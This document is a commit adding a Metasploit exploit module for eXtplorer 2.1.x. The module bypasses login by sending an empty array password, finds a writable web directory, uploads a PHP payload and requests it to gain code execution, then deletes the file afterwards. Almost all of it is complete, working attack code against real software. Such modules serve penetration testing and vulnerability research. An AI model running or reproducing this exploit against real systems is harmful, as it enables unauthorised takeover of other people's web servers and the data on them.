Add eXtplorer v2.1 auth bypass exploit module

modules/exploits/multi/http/extplorer_upload_exec.rb

@@ -0,0 +1,228 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "eXtplorer v2.1 Arbitrary File Upload Vulnerability",
+			'Description'    => %q{
+				This module exploits an authentication bypass vulnerability in eXtplorer
+				versions 2.1.0 to 2.1.2 and 2.1.0RC5 when run as a standalone application.
+				This application has an upload feature that allows an authenticated user
+				with administrator roles to upload arbitrary files to any writable
+				directory in the web root. This module uses an authentication bypass
+				vulnerability to upload and execute a file.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
+				],
+			'References'     =>
+				[
+					['URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability'],
+					['URL', 'http://extplorer.net/issues/105']
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00"
+				},
+			'DefaultOptions'  =>
+				{
+					'ExitFunction' => "none"
+				},
+			'Platform'       => 'php',
+			'Arch'           => ARCH_PHP,
+			'Targets'        =>
+				[
+					['Automatic Targeting', { 'auto' => true }]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Dec 31 2012",
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('TARGETURI', [true, 'The path to the web application', '/com_extplorer_2.1.0/']),
+				OptString.new('USERNAME',  [true, 'The username for eXtplorer', 'admin'])
+			], self.class)
+	end
+
+	def check
+
+		base  = target_uri.path
+		base << '/' if base[-1, 1] != '/'
+		peer  = "#{rhost}:#{rport}"
+
+		# retrieve software version from ./extplorer.xml
+		begin
+			res = send_request_cgi({
+				'method' => 'GET',
+				'uri'    => "#{base}extplorer.xml"
+			})
+
+			return Exploit::CheckCode::Vulnerable if res and res.code == 200 and res.body =~ /<version>2\.1\.(0RC5|0|1|2)<\/version>/
+			return Exploit::CheckCode::Detected   if res and res.code == 200 and res.body =~ /eXtplorer/
+			return Exploit::CheckCode::Safe
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+			print_error("#{peer} - Connection failed")
+		end
+		return Exploit::CheckCode::Unknown
+
+	end
+
+	def on_new_session(client)
+		if client.type == "meterpreter"
+			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
+			client.fs.file.rm("#{@fname}")
+		else
+			client.shell_command_token("rm #{@fname}")
+		end
+	end
+
+	def upload(base, dir, fname, file)
+
+		boundary   = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
+		data_post  = "--#{boundary}\r\n"
+		data_post << "Content-Disposition: form-data; name=\"userfile[0]\"; filename=\"#{fname}\"\r\n"
+		data_post << "Content-Type: application/x-httpd-php\r\n"
+		data_post << "\r\n#{file}\r\n"
+		data_post << "--#{boundary}\r\n"
+		data_post << "Content-Disposition: form-data; name=\"overwrite_files\"\r\n\r\non\r\n"
+		data_post << "--#{boundary}\r\n"
+		data_post << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n%2f#{dir}\r\n"
+		data_post << "--#{boundary}\r\n"
+		data_post << "Content-Disposition: form-data; name=\"option\"\r\n\r\ncom_extplorer\r\n"
+		data_post << "--#{boundary}\r\n"
+		data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n"
+		data_post << "--#{boundary}\r\n"
+		data_post << "Content-Disposition: form-data; name=\"requestType\"\r\n\r\nxmlhttprequest\r\n"
+		data_post << "--#{boundary}\r\n"
+		data_post << "Content-Disposition: form-data; name=\"confirm\"\r\n\r\ntrue\r\n"
+		data_post << "--#{boundary}\r\n"
+
+		res = send_request_cgi({
+			'method'  => 'POST',
+			'uri'     => "#{base}index.php",
+			'ctype'   => "multipart/form-data; boundary=#{boundary}",
+			'data'    => data_post,
+			'cookie'  => datastore['COOKIE'],
+		})
+
+		return res
+	end
+
+	def auth_bypass(base, user)
+
+		res   = send_request_cgi({
+			'method' => 'POST',
+			'uri'    => "#{base}index.php",
+			'data'   => "option=com_extplorer&action=login&type=extplorer&username=#{user}&password[]=",
+			'cookie' => datastore['COOKIE'],
+		})
+		return res
+
+	end
+
+	def exploit
+
+		base  = target_uri.path
+		base << '/' if base[-1, 1] != '/'
+		@peer = "#{rhost}:#{rport}"
+		@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
+		user  = datastore['USERNAME']
+		datastore['COOKIE'] = "eXtplorer="+rand_text_alpha_lower(26)+";"
+
+		# bypass auth
+		print_status("#{@peer} - Authenticating as user (#{user})")
+		res   = auth_bypass(base, user)
+		if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/
+			print_status("#{@peer} - Authenticated successfully")
+		else
+			print_error("#{@peer} - Authentication failed")
+			return
+		end
+
+		# search for writable directories
+		print_status("#{@peer} - Retrieving writable subdirectories")
+		begin
+			res = send_request_cgi({
+				'method'  => 'POST',
+				'uri'     => "#{base}index.php",
+				'cookie'  => datastore['COOKIE'],
+				'data'    => "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root",
+			})
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+			print_error("#{@peer} - Connection failed")
+			return
+		end
+		if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/
+			dir = "#{base}#{$1}"
+			print_status("#{@peer} - Successfully retrieved writable subdirectory (#{$1})")
+		else
+			dir = "#{base}"
+			print_error("#{@peer} - Could not find a writable subdirectory.")
+		end
+
+		# upload PHP payload
+		print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes) to #{dir}")
+		php = %Q|<?php #{payload.encoded} ?>|
+		begin
+			res = upload(base, dir, @fname, php)
+			if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/
+				print_good("#{@peer} - File uploaded successfully")
+			else
+				print_error("#{@peer} - Uploading PHP payload failed")
+				return
+			end
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+			print_error("#{@peer} - Connection failed")
+			return
+		end
+
+		# search directories in the web root for the file
+		print_status("#{@peer} - Searching directories for file (#{@fname})")
+		begin
+			res   = send_request_cgi({
+				'method' => 'POST',
+				'uri'    => "#{base}index.php",
+				'data'   => "start=0&limit=10&option=com_extplorer&action=search&dir=#{base}&content=0&subdir=1&searchitem=#{@fname}",
+				'cookie' => datastore['COOKIE'],
+			})
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+			print_error("#{@peer} - Connection failed")
+			return
+		end
+		if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/
+			dir = $1.gsub('\\','')
+			print_good("#{@peer} - Successfully found file")
+		else
+			print_error("#{@peer} - Failed to find file")
+		end
+
+		# retrieve and execute PHP payload
+		print_status("#{@peer} - Executing payload (/#{dir}/#{@fname})")
+		begin
+			send_request_cgi({
+				'method' => 'GET',
+				'uri'    => "/#{dir}/#{@fname}"
+			})
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+			print_error("#{@peer} - Connection failed")
+			return
+		end
+		if res and res.code != 200
+			print_error("#{@peer} - Executing payload failed")
+		end
+	end
+end